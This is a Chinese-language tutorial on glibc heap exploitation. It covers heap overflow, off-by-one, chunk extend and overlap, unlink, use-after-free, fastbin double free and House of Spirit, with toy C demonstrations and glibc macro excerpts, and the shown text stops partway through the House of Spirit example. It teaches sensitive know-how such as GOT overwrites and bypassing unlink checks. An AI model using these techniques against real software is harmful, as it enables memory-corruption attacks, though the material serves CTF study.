堆相关漏洞与利用
堆溢出
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数 (注意:是写入的字节数超过了堆块本身可使用的字节数,而不是用户申请的字节数,因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),并覆盖到物理相邻的高地址的下一个堆块,轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程
一般来说,堆溢出漏洞需要两个前提:
- 程序向堆上写入数据
- 写入的数据大小没有被良好地控制
参考文章:
与栈溢出不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此堆溢出通常无法像栈溢出一样直接控制 EIP
一般来说,我们利用堆溢出的策略是:
覆盖与其物理相邻的下一个
chunk
的内容prev_size
size
,主要有三个比特位,以及该堆块真正的大小NON_MAIN_ARENA
IS_MAPPED
PREV_INUSE
the True chunk size
chunk content
,从而改变程序固有的执行流
利用堆中的机制(如
unlink
等 )来实现任意地址写入或控制堆块中的内容等效果,从而来控制程序的执行流
堆溢出通常需要配合其他的方法来实现漏洞的利用,比较常用的方法有:Chunk Extend and Overlap 等
关键步骤
寻找堆分配函数
通常来说堆是通过调用 Glibc 函数
malloc
进行分配的,在某些情况下会使用calloc
分配,realloc
同样也可以达到类似的效果因此,常用的堆分配函数有:
malloc
calloc
realloc
calloc
与 malloc
的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的
calloc(0x20);
// 等价于
ptr = malloc(0x20);
memset(ptr, 0, 0x20);
寻找危险函数
通过寻找危险函数,可以快速确定程序是否可能存在堆溢出漏洞
常见的危险函数如下
输入
- gets,直接读取一行,忽略
'\x00'
- scanf
- vscanf
- gets,直接读取一行,忽略
输出
- sprintf
字符串
- strcpy,字符串复制,遇到
'\x00'
停止 - strcat,字符串拼接,遇到
'\x00'
停止 - bcopy
- strcpy,字符串复制,遇到
确定填充长度
这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离
主要有以下几点需要重点注意:
malloc
的参数并不等于实际分配堆块的大小
ptmalloc2
分配出来的大小是对齐的,这个长度一般是字长的 2 倍。比如 32 位系统是 8 字节,64 位系统是 16 字节
因此,对于不大于 2 倍字长的请求,malloc
会直接返回 2 倍字长的块(也就是最小 chunk
),比如 64 位系统执行 malloc(0)
会返回用户区域为 16 字节的块
- 用户区域的大小不等于
chunk_head.size
chunk_head.size = 用户区域大小 + 2 * 字长
- 用户申请的内存大小会被修改,有可能会使用与其物理相邻的下一个
chunk
的prev_size
字段来储存内容
例如:
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
在上述代码中,申请的 chunk
大小是 24 字节
但是将其编译为 64 位可执行程序时,实际上分配的内存会是 16 字节而不是 24 字节
//根据系统的位数,malloc 会分配 8 或 16 字节的用户空间
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
16 字节的空间是如何装得下 24 个字节的内容呢?答案是借用了下一个块的 pre_size
域
用户申请的内存大小与 Glibc 中实际分配的内存大小之间的转换如下:
/* pad request bytes into a usable size -- internal version */
// MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
当 req = 24
时,request2size(24) = 32
除去 chunk
头部的 16 字节,实际上用户可用 chunk
为 16 字节,而 chunk
的 pre_size
仅当它的前一块处于释放状态时才起作用,所以用户这时候其实还可以使用下一个 chunk
的 prev_size
字段,正好 24 个字节
实际上
ptmalloc2
分配内存是以双字为基本单位以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的
chunk
都是 16 字节对齐的
Off-By-One
off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数,并且只越界了一个字节,属于一种特殊的溢出漏洞
off-by-one 最终的效果是可以将一个释放状态的 small bin chunk
或是 unsorted bin chunk
一直到被溢出 chunk
合并成一个大的 chunk
产生原因
这种漏洞的产生往往与边界验证不严和字符串操作有关,例如:
- 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节
示例:
int my_gets(char *ptr,int size)
{
int i;
for(i = 0; i <= size; i++)
{
ptr[i] = getchar();
}
return i;
}
int main()
{
void *chunk1, *chunk2;
chunk1 = malloc(16);
chunk2 = malloc(16);
puts("Get Input:");
my_gets(chunk1, 16);
return 0;
}
由于 for 循环的边界没有控制好,导致写入多执行了一次
执行 my_gets()
之前的堆:
假设输入了 17 个字节:aaaaaaaaaaaaaaaaa
,此时的堆:
可以看到数据发生了溢出,有一个 'a'
覆盖到了下一个堆块的 prev_size
域
- 字符串操作不合适
示例:
int main(void)
{
char buffer[40] = "";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer) == 24)
{
strcpy(chunk1, buffer);
}
return 0;
}
如果不考虑栈溢出,似乎没什么问题,可能很多人在实际的代码中也是这样写的,但是 strlen
和 strcpy
的行为不一致却导致了 off-by-one 的发生
原因在于,strlen
在计算字符串长度时不包括结束符 '\x00'
,而 strcpy
在复制字符串时会拷贝结束符 '\x00'
,因此,最后其实向 chunk1
中写入了 25 个字节
执行 gets(buffer)
之前的堆:
执行 strcpy(chunk1, buffer)
之后:
可以看到 next chunk
的 size
域低字节被结束符 '\x00'
覆盖(这种情况又属于 off-by-one 的一个分支:NULL byte off-by-one)
- 当然,也不排除写入的
size
正好就只多了一个字节的情况
一般来说,单字节溢出被认为是难以利用的
但是因为 Linux 的堆管理机制
ptmalloc2
验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大
利用思路
- 溢出字节为可控制任意字节
通过修改大小造成块结构之间出现重叠,从而泄露或者覆盖其他块数据
- 溢出字节为 NULL 字节
在 size
为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use
位被清除(记录前一个 chunk
块是否被分配),这样前一个块会被认为是 free 块
然后可以采用以下方法:
(1)使用 unlink 方法进行处理
(2)由于这时 prev_size
域会被启用,可以伪造 prev_size
造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size
找到的块的大小与 prev_size
是否一致
注意:
在 Glibc 2.29 以后的版本代码中已经加入针对方法(2)的
check
,因此传统的方法(2)失效;但是在 Glibc 2.28 及之前版本并没有该check
,可以继续使用
Glibc 中对于此处的 check
如下:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 下面两行代码在新版本 Glibc 中加入,则方法(2)无法使用,但是 Glibc 2.28 及之前版本都没有问题
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating"); */
unlink_chunk (av, p);
}
Glibc 2.29 以后的版本中, check
处增加了两行代码:
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
这让我们想要控制一个真实 chunk
的 size
字段变得更加困难,所以传统的 NULL byte off-by-one 方法失效
但是,只需要满足被 unlink 的 chunk
和下一个 chunk
相连,仍然可以伪造 fake_chunk
伪造的方式就是使用 large bin
遗留的 fd_nextsize
和 bk_nextsize
指针:
- 以
fd_nextsize
为fake_chunk
的fd
- 以
bk_nextsize
为fake_chunk
的bk
这样我们可以完全控制该 fake_chunk
的 size
字段(这个过程会破坏原 large bin chunk
的 fd
指针,但是没有关系),同时还可以通过部分覆写 fd_nextsize
控制其 fd
,然后在后面使用其他的 chunk
辅助伪造,可以通过该 check
然后只需要通过 unlink 的检测就可以了,也就是:
(fd -> bk == p) && (bk -> fd == p)
如果
large bin
中仅有一个chunk
,那么该chunk
的fd_nextsize
指针和bk_nextsize
指针都会指向自己
我们可以控制
fd_nextsize
指向堆上的任意地址,可以容易地使之指向一个fast bin + 0x10 - 0x18
,而fast bin
中的fd
也会指向堆上的一个地址,通过部分覆写该指针也可以使该指针指向之前的large bin + 0x10
,这样就可以通过fd -> bk == p
的检测由于
bk_nextsize
我们无法修改,所以bk -> fd
必然在原先的large bin chunk
的fd
指针处(这个fd
被我们破坏了),通过fast bin
的链表特性可以做到修改这个指针且不影响其他的数据,再将其部分覆写就可以通过bk -> fd == p
的检测然后通过 off-by-one 向低地址合并,实现
chunk Overlap
,之后可以泄露 libc 的基地址和堆地址,然后tcache
打__free_hook
即可
相关例题
见本站 《【Asis CTF 2016】b00ks》、《【plaidctf 2015】PlaidDB》
Chunk Extend and Overlap
chunk extend
(堆扩展)是堆漏洞的一种常见利用手法,通过extend
可以实现chunk Overlap
(堆重叠)的效果
这种利用方法通常需要以下条件:
- 程序中存在基于堆的漏洞
- 漏洞可以控制
chunk header
中的数据
一般来说,Chunk Extend and Overlap
并不能直接控制程序的执行流程,但是可以控制 chunk
中的内容:
如果
chunk
存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程此外,
chunk extend
通过控制size
和pre_size
域可以实现chunk Overlap
,通过Overlap
可以控制chunk
的fd / bk
指针从而可以实现fastbin attack
等利用
对 inuse 的 fast bin 进行 extend
当我们创建两个堆块
chunk1
和chunk2
时,通过修改chunk1
的size
域,使其size
的大小包含chunk2
,那么free
掉chunk1
的时候,chunk2
也会被free
掉而当我们再次请求这两个堆块大小之和的堆块时,就会获得
chunk1 + chunk2
的空间,也就可以控制chunk2
的内容
示例:(64 位程序)
int main(void)
{
void *ptr, *ptr1;
ptr = malloc(0x10); // 分配第一个 0x10 的 chunk
malloc(0x10); // 分配第二个 0x10 的chunk
*(long long *)((long long) ptr - 0x8) = 0x41; // 修改第一个块的 size 域
free(ptr);
ptr1 = malloc(0x30); // 实现 extend,控制了第二个块的内容
return 0;
}
当我们 malloc
两个堆块后:
然后修改 chunk1
的 size
域为 0x41
(包括了 chunk2
的大小):
可以看到 free
掉 chunk1
后,chunk2
也被 free
掉了:
此时如果我们再通过 malloc(0x30)
分配堆块,就会得到 chunk1 + chunk2
的块,此时就可以直接控制 chunk2
中的内容
这种状态就称为 Overlap chunk
对 inuse 的 small bin 进行 extend
当
free
掉的chunk size >= 144
(0x90)字节时,会被置于unsorted bin
中,这次以malloc(0x80)
来举例与前面的
fast bin
不同的是,这种情况下还需要再malloc
一块空间用来防止unsorted bin
与top chunk
合并
示例:(64 位程序)
int main()
{
void *ptr, *ptr1;
ptr = malloc(0x80); // 分配第一个 0x80 的 chunk1
malloc(0x10); // 分配第二个 0x10 的 chunk2
malloc(0x10); // 防止与 top chunk 合并
*(int *)((int) ptr - 0x8) = 0xb1;
free(ptr);
ptr1 = malloc(0xa0);
return 0;
}
当我们 malloc
三个堆块后(chunk3
用来防止 chunk1
被篡改并 free
后与 top chunk
合并):
然后修改 chunk1
的 size
域为 0xb1
(包括了 chunk2
的大小):
可以看到 free
掉 chunk1
后,chunk2
也被 free
掉了:
此时 chunk1
和 chunk2
被一起置入 unsorted bin
此时如果我们再通过 malloc(0xa0)
分配堆块,就会得到 chunk1 + chunk2
的块,此时就可以直接控制 chunk2
中的内容:
对 free 的 small bin 进行 extend
在,先释放
chunk1
,然后再修改处于unsorted bin
中的chunk1
的size
域,会使得 chunk2 也被置于unsorted bin
中当我们再次请求这两个堆块大小之和的堆块时,就会获得
chunk1 + chunk2
的空间,也就可以控制chunk2
的内容
示例:(64 位程序)
int main()
{
void *ptr, *ptr1;
ptr = malloc(0x80); // 分配第一个 0x80 的 chunk1
malloc(0x10); // 分配第二个 0x10 的 chunk2
free(ptr); // 首先进行释放,使得 chunk1 进入 unsorted bin
*(int *)((int) ptr - 0x8) = 0xb1;
ptr1 = malloc(0xa0);
return 0;
}
当 malloc
分配两个堆块后,直接 free
掉 chunk1
使其被置于 unsorted bin
:
此时修改 unsorted bin
的 size
域为 0xb1
(包括了 chunk2
的大小),发现 chunk2
也被置于 unsorted bin
中:
然后再 malloc(0xa0)
的大小就可以得到 chunk1 + chunk2
的堆块,从而控制了 chunk2
的内容:
通过 extend 后向 Overlap
示例:(64 位程序)
int main()
{
void *ptr, *ptr1;
ptr = malloc(0x10); // 分配第 1 个 0x80 的 chunk1
malloc(0x10); // 分配第 2 个 0x10 的 chunk2
malloc(0x10); // 分配第 3 个 0x10 的 chunk3
malloc(0x10); // 分配第 4 个 0x10 的 chunk4
*(int *)((int) ptr - 0x8) = 0x61;
free(ptr);
ptr1 = malloc(0x50);
return 0;
}
当 malloc
分配四个堆块后:
修改 chunk1
的 size
域为 0x61
(包括了 chunk2
、chunk3
的大小):
此时 free
掉 chunk1
,则 chunk2
、chunk3
也一并被 free
进入 fast bin
:
在 malloc(0x50)
对 extend
区域重新占位后,其中 0x10
的 fastbin
块依然可以正常的分配和释放:
此时已经构成 Overlap
,通过对 Overlap
的进行操作可以实现 fastbin attack
通过 extend 前向 Overlap
示例:(64 位程序)
int main()
{
void *ptr1, *ptr2, *ptr3, *ptr4;
ptr1 = malloc(128); // smallbin1
ptr2 = malloc(0x10); // fastbin1
ptr3 = malloc(0x10); // fastbin2
ptr4 = malloc(128); // smallbin2
malloc(0x10); // 防止与 top 合并
free(ptr1);
*(int *)((long long) ptr4 - 0x8) = 0x90; // 修改 pre_inuse 域
*(int *)((long long) ptr4 - 0x10) = 0xd0; // 修改 pre_size 域
free(ptr4); // unlink 进行前向 extend
malloc(0x150); // 占位块
return 0;
}
当 malloc
分配五个堆块后:
此时 free
掉 chunk1
使其置入 unsorted bin
:
修改 chunk4
的 size
域为 0x90
(其中 pre_inuse
位为 0,代表前一个 chunk
空闲)
修改 pre_size
域为 0xd0
(包括了 chunk2
和 chunk3
的大小):
此时 free
掉 chunk4
,会导致 chunk2
和 chunk3
也一并被 free
,同时与 free
掉 chunk1
后形成的 unsorted bin
合并:
在 malloc(0x150)
对 extend
区域重新占位后,就可以得到 chunk1 + chunk2 + chunk3 + chunk4
的堆块
前向 extend
利用了 smallbin
的 unlink 机制,通过修改 pre_size
域可以跨越多个 chunk
进行合并实现 Overlap
Unlink
unlink()
是 Glibc 中的一个宏,其目的是将某一个空闲chunk
从其所处的bin
中脱链
- 在
malloc_consolidate()
函数中用于将fast bin
中的空闲chunk
整理到unsorted bin
- 在
malloc()
函数中用于将unsorted bin
中的空闲chunk
整理到small bin
或者large bin
,以及在malloc()
中获得堆空间时,均有可能调用unlink()
宏参考文章:
在利用 unlink 所造成的漏洞时,其实就是对 chunk
进行内存布局,然后借助 unlink 操作来达成修改指针的效果
unlink()
的大致流程如下:
- 首先根据
chunk P
的fd
和bk
参数确定chunk P
在bin
中的前后chunk
分别为FD
和BK
- 然后让
chunk FD
的bk
参数指向chunk BK
- 最后让
chunk BK
的fd
参数指向chunk FD
没有防护的 unlink
这是比较古老的 unlink 利用方法,没有对
chunk
的size
检查和双向链表检查
Glibc 中没有防护的 unlink()
宏定义:
#define unlink(AV, P, BK, FD) {
FD = P->fd; //获取显式链表中前一个块 FD
BK = P->bk; //获取显示链表中后一个块 BK
FD->bk = BK; //设置FD的后一个块
BK->fd = FD; //设置BK的前一个块
}
假设堆内存最初的布局如图(32 位程序):
上图中有两个物理空间连续的 chunk
,分别是 Q
和 Nextchunk
,并且 Q
处于使用状态,Nextchunk
处于释放状态
如果我们通过某种方式(比如:溢出)将 Nextchunk
的 fd
和 bk
指针修改为指定的值,则当我们 free(Q)
时,会发生如下步骤:
- Glibc 判断
chunk Q
是small chunk
- 判断前向合并,发现前一个
chunk
处于使用状态,不需要前向合并 - 判断后向合并,发现后一个
chunk
处于空闲状态,需要合并 - 继而对
Nextchunk
采取 unlink 操作
按照前面所提到的 unlink()
的大致流程,可以将该过程总结如下:
FD = P -> fd = target addr - 12
BK = P -> bk = expect value
FD -> bk = BK
,即:*(target addr - 12 + 12) = BK = expect value
BK -> fd = FD
,即:*(expect value + 8) = FD = target addr - 12
这样一来,我们可以通过 unlink 直接实现任意地址读写的目的,但是还是需要确保 expect value + 8
的地址处具有可写的权限
例如将
target addr
设置为某个 GOT 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值expect value
处的代码需要注意的是,
expect value + 8
处的值被破坏了,需要想办法绕过
存在防护的 unlink
目前的 unlink 通常是存在检查的,此时就没有那么简单了
由于 unlink 的危险性,Glibc 添加了一些检测机制,存在防护的 unlink()
宏如下:
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&&__builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
其中,对 fd
和 bk
的检查:
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
如果按照没有防护的 unlink 中提到的场景,当前:
FD -> bk = target addr - 12 + 12 = target addr
BK -> fd = expect value + 8
但在这种情况下,修改 GOT 表项的方法可能就不可用了
不过,我们可以通过伪造的方式绕过这个机制:
首先通过覆盖,将 Nextchunk
的 FD
指针指向 fakeFD
,将 Nextchunk
的 BK
指针指向 fakeBK
为了通过验证,需要满足:
fakeFD -> bk == P
,即:*(fakeFD + 12) == P
fakeBK -> fd == P
,即:*(fakeBK + 8) == P
当满足上述两式时,可以进入 unlink 的环节,进行如下操作:
fakeFD -> bk = fakeBK
,即:*(fakeFD + 12) = fakeBK
fakeBK -> fd = fakeFD
,即:*(fakeBK + 8) = fakeFD
如果让 fakeFD + 12
和 fakeBK + 8
指向同一个指向 P 的指针,那么:
*P = P - 8
*P = P - 12
通过这种方式,P 的指针指向了比自己低 12 的地址处
此方法虽然不可以实现任意地址写,但是可以修改指向
chunk
的指针,这样的修改是可以达到一定的效果的
如果我们想要使得两者都指向 P,只需要按照如下方式修改即可:
由于 P 在 unlink 前是指向正确的 chunk
的指针,因此不受如下检测的影响:
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
如果我们设置
Nextchunk
的fd
和bk
均为Nextchunk
的地址也是可以绕过上面的检测的但是这样不能达到修改指针内容的效果
利用思路
利用 unlink 漏洞的条件:
- 存在 UAF 漏洞,可修改
free
状态下small bin
或是unsorted bin
的fd
和bk
指针 - 已知位置存在一个指针指向可进行 UAF 的
chunk
实现的效果:使得已指向存在 UAF 漏洞的 chunk
的指针 ptr
变为 ptr - 0x18
假设指向存在 UAF 漏洞的 chunk
的指针的地址为 ptr
,则实现的主要步骤为:
- 修改
fd
为ptr - 0x18
- 修改
bk
为ptr - 0x10
- 触发 unlink,
ptr
处的指针会变为ptr - 0x18
Use After Free
Use After Free 简称 UAF,即:释放后使用漏洞,指一个内存块被释放之后再次被使用
对于内存块释放之后的操作,有以下几种情况:
内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃
内存块被释放后,其对应的指针没有被设置为 NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存块进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题
通常我们所说的 UAF 漏洞对应的就是 2 和 3
也就是说,UAF 漏洞利用的前提是:内存块被释放后,其对应的指针没有被设置为 NULL
示例:(64 位程序)
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a -> func = myprint;
a -> myname = "I can also use it";
a -> func("this is my function");
free(a);
// free without modify
a -> func("I can also use it");
// free with modify
a -> func = printmyname;
a -> func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a -> func("can not be printed...");
return 0;
}
运行结果:
即使
free
掉了chunk a
,我们依然可以通过a -> func("I can also use it")
调用myprint()
打印输出即使
free
掉了chunk a
,将a -> func
修改为printmyname()
,也可以正常使用printf("call print my name\n")
功能但是当
chunk a
被置为 NULL 后,a -> func("can not be printed...")
便无法使用
接下来,我们通过 GDB 调试分析一下整个过程
在执行 free(a)
之前,堆布局如下:
执行 free(a)
后,chunk a
被置于 fast bin
中
myname
指针被置为 NULL,但 func
指针未发生变化:
此时通过 a -> func("I can also use it")
依然可以调用 myprint()
:
当我们将 func
指针修改为 printmyname()
后,通过 a -> func("this is my function")
也可以调用 printmyname()
:
当我们通过 a = NULL
将其置为 NULL 后,堆的布局并未发生变化:
但当我们再次使用 a -> func("can not be printed...")
的时候
**程序会直接报出段错误,而不是继续调用 0x4005d1
地址处的 printmyname()
**:
发生段错误的关键在于:
我们前面执行
a = NULL
的时候将 RBP - 8 地址处置为了 0,因此执行mov rax, qword ptr [rbp - 8]
时 RAX = 0,此时执行mov rax, qword ptr [rax + 8]
要求从内存地址为 8 的地方取值赋给 RAX,显然这个内存地址是错误的
Fast bin Attack
Fast bin Attack 是一类漏洞的利用方法,是指所有基于
fast bin
机制的漏洞利用方法
Fast bin Attack 利用的前提:
- 存在堆溢出、UAF 等能控制
chunk
内容的漏洞 - 漏洞发生于
fast bin
类型的chunk
中
由于 fast bin
使用单链表来维护释放的堆块,并且由 fast bin
管理的 chunk
即使被释放,其 next_chunk
的 prev_inuse
位也不会被清空
示例:
int main(void)
{
void *chunk1, *chunk2, *chunk3;
chunk1 = malloc(0x30);
chunk2 = malloc(0x30);
chunk3 = malloc(0x30);
// 进行释放
free(chunk1);
free(chunk2);
free(chunk3);
return 0;
}
执行三次 free
进行释放后
此时位于 main_arena
中的 fastbin
链表中已经储存了指向 chunk3
的指针(最近释放),并且 chunk3
、chunk2
、chunk1
构成了一个单链表:
Double Free
Double free 指同一个指针指向的内存被
free
两次堆上的某块内存被释放后,如果没有将指向该堆块的指针清零,就可以利用程序的其他部分对该内存进行再次的
free
,最终得到一个可用的空闲块指针,并且能够修改已经被释放的空闲块中的内容,从而利用这个漏洞实现任意地址写
总的来说,double free 就是通过 2 次 free
,2 次 malloc
,再 1 次 free
,最终得到可用的空闲块指针,并且可以修改空闲块中的内容
详细来说就是:
- 首先两次
free
同一块地址(两次free
之间需要先free
一次其他的chunk
来绕过检测) - 然后再连续两次
malloc
相同大小 - 然后再
free
掉其中一个 - 那么剩下那个指针指向的就是空闲块的
chunk
,而且还是可以被修改的
示例:(64 位程序)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
char *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30); // chunk1
ptr1 = malloc(0x30); // chunk2
ptr2 = malloc(0x30); // chunk3
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("Chunk1: ptr0 @ %p\t contains: %s\n", ptr0, ptr0);
printf("Chunk2: ptr1 @ %p\t contains: %s\n", ptr1, ptr1);
printf("Chunk3: ptr2 @ %p\t contains: %s\n\n", ptr2, ptr2);
free(ptr0);
free(ptr1);
free(ptr0); // double free
char *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30); // chunk4
ptr4 = malloc(0x30); // chunk5
ptr5 = malloc(0x30); // chunk6
memcpy(ptr3, data0, 0x8);
memcpy(ptr4, data1, 0x8);
memcpy(ptr5, data2, 0x8);
printf("Chunk4: ptr3 @ %p\t contains: %s\n", ptr3, ptr3);
printf("Chunk5: ptr4 @ %p\t contains: %s\n", ptr4, ptr4);
printf("Chunk6: ptr5 @ %p\t contains: %s\n\n", ptr5, ptr5);
free(ptr3);
ptr3 = 0x0;
printf("Chunk4: ptr3 @ %p\n", ptr3);
printf("Chunk6: ptr5 @ %p\n\n", ptr5);
char *data3 = "15935728";
memcpy(ptr5, data3, 0x8);
printf("Chunk5: @ %p\t contains: %s\n\n", ptr5, ptr5);
return 0;
}
我们通过 GDB 调试观察一下整个执行流程
刚开始创建三个堆块 ptr0
、ptr1
和 ptr2
,并通过 data0
、data1
、data2
进行赋值:
此时输出信息:
Chunk1: ptr0 @ 0x602010 contains: 00000000
Chunk2: ptr1 @ 0x602050 contains: 11111111
Chunk3: ptr2 @ 0x602090 contains: 22222222
首先 free
掉 ptr0
和 ptr1
,它们都被置于 fast bin
中:
ptr1
的 fd
指针指向下一个空闲的 chunk
,即:ptr0
的地址
注意:
在对
ptr0
的 double free 之间,我们穿插了一个free(ptr1)
的操作,这么做不是毫无根据的,而是为了绕过检测因为在不同版本的
malloc
中,可能存在对 double free 的检测:如果当前被释放的指针与最后一个释放的内存块相同,程序将停止执行而
fast bin
在执行free
的时候仅验证了main_arena
直接指向的块,即链表指针头部的块,对于链表后面的块,并没有进行验证因此,绕过这个检测的方法就是:在两次释放同一个指针之间释放另一个指针(但是在 Glibc 2.27 中,它将命中
tcache
,就不存在这个问题)
为了实现 double free,我们再次 free
掉 ptr0
:
此时 ptr1
的 fd
指针指向 ptr0
的地址,同时 ptr0
的 fd
指针也指向 ptr1
的地址
接下来,我们将分配三个新内存块,大小与我们释放的内存块相同
执行完 ptr3 = malloc(0x30)
:
执行完 ptr4 = malloc(0x30)
:
执行完 ptr5 = malloc(0x30)
:
向它们写入 data0
、data1
、data2
的数据,这将使我们得到之前释放的三个内存块
执行完 memcpy(ptr3, data0, 0x8)
:
执行完 memcpy(ptr4, data1, 0x8)
:
执行完 memcpy(ptr5, data2, 0x8)
:
可以看到,向 ptr5
中写入的数据实际写入到了 chunk4
中
此时输出信息:
Chunk4: ptr3 @ 0x602010 contains: 22222222
Chunk5: ptr4 @ 0x602050 contains: 11111111
Chunk6: ptr5 @ 0x602010 contains: 22222222
到这里可以发现,由于前面两次释放了同一个指针,现在我们分配到了相同的指针(因为
malloc
会出于性能提升的原因重用相似大小的已释放内存块)
现在我们可以释放指向 chunk4
或 chunk6
的其中一个指针(即:ptr3
或 ptr5
),并清除该指针(防止使用释放后的指针),而我们仍然会有一个指针指向同一个内存块,而该内存块现在已被释放
也就是说,我们可以利用 double free 来编辑已释放的内存块
执行 free(ptr3)
并将 ptr3
置为 NULL 后:
此时输出信息:
Chunk4: ptr3 @ (nil)
Chunk6: ptr5 @ 0x602010
通过 memcpy(ptr5, data3, 0x8)
向 ptr5
写入数据时,会将数据写入到已经被释放的 chunk4
中
此时输出信息:
Chunk6: ptr5 @ 0x602010 contains: 15935728
House Of Spirit
House of Spirit 是 the Malloc Maleficarum 中的一种技术,其核心在于:在目标位置处伪造
fast bin chunk
,并将其释放,从而实现分配指定地址的chunk
要想构造 fast bin fake chunk
并且将其释放时,可以将其放入到对应的 fast bin
链表中,但需要绕过一些必要的检测:
fake chunk
的ISMMAP
位不能为 1,因为free
时,如果是mmap
的chunk
,会单独处理fake chunk
地址需要对齐,MALLOC_ALIGN_MASK
fake chunk
的size
大小需要满足对应的fast bin
的需求,同时也得对齐fake chunk
的next chunk
的大小不能小于2 * SIZE_SZ
,同时也不能大于av->system_mem
fake chunk
对应的fast bin
链表头部不能是该fake chunk
,即不能构成double free
的情况
示例:
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
